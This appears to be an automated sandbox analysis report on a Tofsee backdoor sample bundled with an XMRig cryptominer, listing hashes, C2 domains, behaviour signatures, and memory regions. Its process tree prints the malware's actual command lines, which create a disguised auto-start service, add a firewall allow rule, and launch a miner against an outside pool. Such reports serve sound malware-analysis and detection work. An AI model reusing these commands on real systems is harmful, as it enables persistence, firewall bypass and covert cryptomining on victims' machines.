Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 14:14

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    52bfbbeea419b32453306fbe9978576a

  • SHA1

    a357439bd75ddf0f398d002cbb04e41182c225e5

  • SHA256

    49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07

  • SHA512

    a3419cefc4eae81026b514156b81a979eae42934d7c80b5c1c733efa9143b5b637412bdcf2b33ca330de3b1a0c0221e7340799b8b00883149951ab47110ff8a2

  • SSDEEP

    3072:kVX+o2rgL565qeKPYBMaSTC4KGBQoHt7Erjazbach5lh60keCUj:8+7gLYUFYBDRuUjazb5h6TM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rrcbvmum\
      2⤵
        PID:2600
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bnzebhgu.exe" C:\Windows\SysWOW64\rrcbvmum\
        2⤵
          PID:2760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rrcbvmum binPath= "C:\Windows\SysWOW64\rrcbvmum\bnzebhgu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rrcbvmum "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rrcbvmum
          2⤵
          • Launches sc.exe
          PID:1748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2756
      • C:\Windows\SysWOW64\rrcbvmum\bnzebhgu.exe
        C:\Windows\SysWOW64\rrcbvmum\bnzebhgu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1756

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\bnzebhgu.exe

              Filesize

              13.8MB

              MD5

              9bebcf19104bf84366a27ffafd97ce53

              SHA1

              12da72cd6375951f12ba2aa0d91f4000eadb4c84

              SHA256

              f16d8bf0aa79cfc229a0291bf2326d385502f131c611844bde59956a94bc90b7

              SHA512

              85a5329859ca5a28cee05a2c68b79f4e37334efa799c3f75dd8774b679d6004d513b936110fd66e2ef2c7b8192c59159c964b56a446eb2113b2ff1af4df953f3

            • C:\Windows\SysWOW64\rrcbvmum\bnzebhgu.exe

              Filesize

              13.8MB

              MD5

              9bebcf19104bf84366a27ffafd97ce53

              SHA1

              12da72cd6375951f12ba2aa0d91f4000eadb4c84

              SHA256

              f16d8bf0aa79cfc229a0291bf2326d385502f131c611844bde59956a94bc90b7

              SHA512

              85a5329859ca5a28cee05a2c68b79f4e37334efa799c3f75dd8774b679d6004d513b936110fd66e2ef2c7b8192c59159c964b56a446eb2113b2ff1af4df953f3

            • memory/1756-62-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-77-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-76-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-75-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-74-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-72-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-73-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1756-64-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/2504-50-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

            • memory/2504-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-23-0x00000000018F0000-0x0000000001AFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-26-0x00000000018F0000-0x0000000001AFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-27-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2504-30-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-33-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-49-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2504-53-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

            • memory/2504-54-0x00000000054A0000-0x00000000058AB000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-57-0x00000000054A0000-0x00000000058AB000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-58-0x00000000001C0000-0x00000000001C7000-memory.dmp

              Filesize

              28KB

            • memory/2504-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2840-1-0x0000000000570000-0x0000000000670000-memory.dmp

              Filesize

              1024KB

            • memory/2840-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2840-3-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/2840-2-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3016-17-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3016-10-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3016-9-0x0000000000690000-0x0000000000790000-memory.dmp

              Filesize

              1024KB